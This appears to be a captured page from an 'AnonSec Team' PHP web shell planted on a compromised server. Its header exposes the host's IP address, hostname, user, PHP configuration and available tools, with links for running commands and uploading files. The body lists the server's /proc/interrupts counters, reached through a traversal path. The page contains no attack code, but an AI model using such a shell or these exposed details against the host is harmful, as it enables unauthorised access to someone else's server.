AnonSec Team
Server IP : 72.167.149.90  /  Your IP : 216.73.216.228
Web Server : Apache
System : Linux server.zoomride.app 4.18.0-553.158.1.el8_10.x86_64 #1 SMP Wed Aug 26 03:18:33 EDT 2026 x86_64
User : zoomride2022 ( 1001)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /../../proc/140441/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../proc/140441/../interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:        126          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0          9   IO-APIC   1-edge      i8042
  4:          0        147         95          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0         15          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   i801_smbus
 22:          0          0          0          0          0         62          0          0   IO-APIC  22-fasteoi   uhci_hcd:usb1
 24:          0          0          0          0          0          0          0          0   PCI-MSI 32768-edge      PCIe PME, aerdrv
 25:          0          0          0          0          0          0          0          0   PCI-MSI 34816-edge      PCIe PME, aerdrv
 26:          0          0          0          0          0          0          0          0   PCI-MSI 36864-edge      PCIe PME, aerdrv
 27:          0          0          0          0          0          0          0          0   PCI-MSI 38912-edge      PCIe PME, aerdrv
 28:          0          0          0          0          0          0          0          0   PCI-MSI 40960-edge      PCIe PME, aerdrv
 29:          0          0          0          0          0          0          0          0   PCI-MSI 43008-edge      PCIe PME, aerdrv
 30:          0          0          0          0          0          0          0          0   PCI-MSI 45056-edge      PCIe PME, aerdrv
 31:          0          0          0          0          0          0          0          0   PCI-MSI 47104-edge      PCIe PME, aerdrv
 32:          0          0          0          0          0          0          0          0   PCI-MSI 49152-edge      PCIe PME, aerdrv
 33:          0          0          0          0          0          0          0          0   PCI-MSI 51200-edge      PCIe PME, aerdrv
 34:          0          0          0          0          0          0          0          0   PCI-MSI 53248-edge      PCIe PME, aerdrv
 35:          0          0          0          0          0          0          0          0   PCI-MSI 55296-edge      PCIe PME, aerdrv
 36:          0          0          0          0          0          0          0          0   PCI-MSI 57344-edge      PCIe PME, aerdrv
 37:          0          0          0          0          0          0          0          0   PCI-MSI 59392-edge      PCIe PME, aerdrv
 38:          0          0          0          0          0          0          0          0   PCI-MSI 61440-edge      PCIe PME, aerdrv
 39:          0          0          0          0          0          0          0          0   PCI-MSI 63488-edge      PCIe PME, aerdrv
 40:          0          0          0          0          0          0          0          0   PCI-MSI 65536-edge      PCIe PME, aerdrv
 41:          0          0          0          0          0          0          0          0   PCI-MSI 3670016-edge      virtio5-config
 42:          0          0          0          0          5          0          0          0   PCI-MSI 3670017-edge      virtio5-input
 43:          0          0          0          0          0          0          0          0   PCI-MSI 2621440-edge      virtio3-config
 44:          0          0          0         25          0          0          0          0   PCI-MSI 2621441-edge      virtio3-virtqueues
 45:          0          0          0          0          0          0          0          0   PCI-MSI 2097152-edge      virtio2-config
 46:          0          0          0          0          0          0          0          0   PCI-MSI 2097153-edge      virtio2-control
 47:          0          0          0          0          0          0          0          0   PCI-MSI 2097154-edge      virtio2-event
 48:     186573          0          0          0          0          0          0          0   PCI-MSI 2097155-edge      virtio2-request
 49:          0     184392          0          0          0          0          0          0   PCI-MSI 2097156-edge      virtio2-request
 50:          0          0     196665          0          0          0          0          0   PCI-MSI 2097157-edge      virtio2-request
 51:          0          0          0          0          0          0          0          0   PCI-MSI 1572864-edge      virtio1-config
 52:     228370      12556      34887      28255      19074      21188      26136      51063   PCI-MSI 1572865-edge      virtio1-input.0
 53:          0          0          0     185901          0          0          0          0   PCI-MSI 2097158-edge      virtio2-request
 54:          0          0          0          0     185216          0          0          0   PCI-MSI 2097159-edge      virtio2-request
 55:     284797       3361      19094      19346      38332      17528      20997       3556   PCI-MSI 1572866-edge      virtio1-output.0
 56:          0          0          0          0          0     179941          0          0   PCI-MSI 2097160-edge      virtio2-request
 57:       1965     136685      19490      31323      92114      24976      80352      23757   PCI-MSI 1572867-edge      virtio1-input.1
 58:          0          0          0          0          0          0     185970          0   PCI-MSI 2097161-edge      virtio2-request
 59:       5832     190113      28105      37321      15592      58679      25336      31721   PCI-MSI 1572868-edge      virtio1-output.1
 60:          0          0          0          0          0          0          0     181696   PCI-MSI 2097162-edge      virtio2-request
 61:       5614     124438     169752       6456      38859      30108      28505      61994   PCI-MSI 1572869-edge      virtio1-input.2
 62:      27503       6073     247180      42295      25031      20511      32606      32194   PCI-MSI 1572870-edge      virtio1-output.2
 63:      75244      15558      77152     138367      22952      31080      25008      27853   PCI-MSI 1572871-edge      virtio1-input.3
 64:      10995      32141      34557     196509      15850      21396      36945      44805   PCI-MSI 1572872-edge      virtio1-output.3
 65:      13707      20987       7374      53812     192158      83797      16091      41110   PCI-MSI 1572873-edge      virtio1-input.4
 66:      11424      40778      41844      44823     177655      37903      33888      42163   PCI-MSI 1572874-edge      virtio1-output.4
 67:      48892      63179      43660      41911      40246      86535      38026      65356   PCI-MSI 1572875-edge      virtio1-input.5
 68:      30354      35251      39949      25188      13248     160242      42211      47169   PCI-MSI 1572876-edge      virtio1-output.5
 69:      29504      15016      71504      45075      18114      54959     190098      28331   PCI-MSI 1572877-edge      virtio1-input.6
 70:      23212      14240      20779      41229      31081      17553     257881      33825   PCI-MSI 1572878-edge      virtio1-output.6
 71:      13226      40107      17350      38404      85124      67093      36231     108921   PCI-MSI 1572879-edge      virtio1-input.7
 72:      15337      30200      30678      46157      38960      61832      12578     155434   PCI-MSI 1572880-edge      virtio1-output.7
 73:       1591       2483       2613       2475       2297       1922       3083       2018   PCI-MSI 512000-edge      ahci[0000:00:1f.2]
 74:          0          0          0          0          0          0          0          0   PCI-MSI 16384-edge      virtio0-config
 75:       8065      12100      19602      15837      12766      13378      20410      14548   PCI-MSI 16385-edge      virtio0-control
 76:          0          0          0          0          0          0          0          0   PCI-MSI 16386-edge      virtio0-cursor
 77:          0          0          0          0          0          0          0          0   PCI-MSI 3145728-edge      virtio4-config
 78:       2595       4369       3417       4382       4159       3082       4794       2841   PCI-MSI 3145729-edge      virtio4-virtqueues
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   24073276   23885981   23883118   23781873   23882563   23824806   23862604   23887178   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          0          0          0          0          0          0          0          0   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:     103247     103412     105457     111601     108539     109439     109853     110781   Rescheduling interrupts
CAL:    8292032    8640838    8582542    8271732    8619267    8434112    8450222    8577815   Function call interrupts
TLB:      10751      10840      11064      12543      11009      11032      11091      10221   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:         72         72         72         72         72         72         72         72   Machine check polls
HYP:          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
HRE:          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
HVS:          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

AnonSec - 2021